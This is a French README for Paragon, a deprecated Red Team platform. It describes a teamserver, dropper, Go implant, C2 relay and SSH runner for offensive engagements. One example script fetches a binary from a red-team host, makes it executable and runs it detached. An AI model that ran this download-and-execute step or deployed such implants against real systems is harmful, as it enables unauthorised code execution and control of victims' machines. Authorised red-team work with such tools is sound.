
Plateforme d'engagement Red Team visant à unifier les outils offensifs derrière une interface utilisateur simple.
Ce projet a été déprécié, veuillez vous référer à notre nouveau projet Realm, qui s'appuie sur de nombreuses idées que nous avions lors de la construction de ce dépôt.

Paragon est une plateforme d'engagement Red Team. Elle vise à unifier les outils offensifs derrière une interface utilisateur simple, en abstraisant une grande partie du travail backend pour permettre aux opérateurs de se concentrer sur l'écriture d'implants et de passer moins de temps à s'inquiéter des bases de données et du CSS. Le dépôt fournit également quelques outils offensifs déjà intégrés à Paragon qui peuvent être utilisés lors des engagements.
Ce dépôt est encore en développement intense et n'est pas prêt pour une utilisation en production. Lorsqu'il sera considéré comme stable, un tag V1.0.0 sera publié. Jusque-là, l'API pourra subir des changements cassants alors que nous simplifions continuellement notre conception. Veuillez lire la documentation développeur ci-dessous si vous souhaitez nous aider à atteindre ce jalon plus rapidement.
Une instance de démonstration rapide peut être configurée en clonant le dépôt et en exécutant docker-compose up. Ouvrez 127.0.0.1:80 dans votre navigateur pour commencer !
Les images utilisées sont disponibles sur docker-hub, et peuvent être configurées à partir d'un fichier docker-compose pour un déploiement en production.
La plupart des composants de ce dépôt reposent sur un langage de script de type Python qui permet un contrôle puissant et une personnalisation de leur comportement. Le langage est une version modifiée de Starlark de Google, étendu avec des fonctionnalités multiplateformes pour les opérateurs. Cela permet également aux outils comme l'agent et le dropper (discutés ci-dessous) d'exécuter des tâches sans dépendre des binaires système (curl, bash, etc.). Toutes les opérations sont exécutées sous forme de code en Go, ce qui rend intuitif l'ajout de fonctionnalités supplémentaires à l'environnement de script. Voici un exemple de script :
# Download a file via https, execute it, and don't keep it as a child process.
load("sys", "request")
new_bin = "/tmp/kqwncWECaaV"
request("https://library.redteam.tld", writeToFile=new_bin)
# set new_bin permissions to 0755
chmod(new_bin, ownerRead=True, ownerWrite=True, ownerExec=True, groupRead=True, groupExec=True, worldRead=True, worldExec=True)
exec(new_bin, disown=True)
Fournit une application web simple et une API GraphQL pour interfacer avec un graphe de connaissances Red Team, unifiant les outils derrière une source de vérité centralisée et abstraisant de nombreuses préoccupations backend fastidieuses pour les opérateurs. Intégrez vos outils personnalisés avec le Teamserver (via l'API GraphQL ou les abonnements aux événements) pour gagner du temps sur le travail backend. Le Teamserver enregistre toute l'activité, donc avec tous vos outils unifiés en un seul endroit, la rédaction de rapports post-engagement devient beaucoup plus facile.
Les outils ci-dessous sont également inclus dans le dépôt. Ils peuvent facilement être étendus pour s'adapter à de nombreux cas d'utilisation multiplateformes.
Paragon fournit un outil pour empaqueter des ressources (binaires, scripts, etc.) en un seul binaire qui, lorsqu'il est exécuté, exécutera votre script de déploiement personnalisé pouvant écrire des ressources sur le système de fichiers, lancer des processus, télécharger des fichiers, gérer les erreurs, etc. Il est entièrement multiplateforme et compilé statiquement, offrant des déploiements fiables. Si vous souhaitez étendre ses fonctionnalités, vous pouvez simplement étendre le fichier Go généré avant la compilation.
Un implant qui exécute des tâches et rapporte les résultats d'exécution. Il est configuré par défaut pour exécuter des tâches en utilisant le langage de script de type Python de Paragon et pour communiquer avec un C2 via http(s). Il est écrit en Go et peut être rapidement modifié pour ajouter de nouvelles méthodes de transport (par exemple, DNS), des options d'exécution, une logique de basculement, etc.
Agit comme intermédiaire entre l'Agent et le Teamserver. Il gère les rappels d'agents pour divers mécanismes de communication et lui fournit de nouvelles tâches depuis la file d'attente du teamserver.
Au lieu d'attendre un rappel, certaines situations peuvent nécessiter une connexion directe pour exécuter rapidement une tâche et voir son résultat. Le runner y parvient en s'abonnant aux files d'attente de tâches et en établissant une connexion à la machine cible (par exemple en utilisant SSH). Cela permet aux intégrations de type shell d'utiliser la même interface que les implants et les C2. Cela permet également de réaliser le déploiement initial de l'implant via cette interface.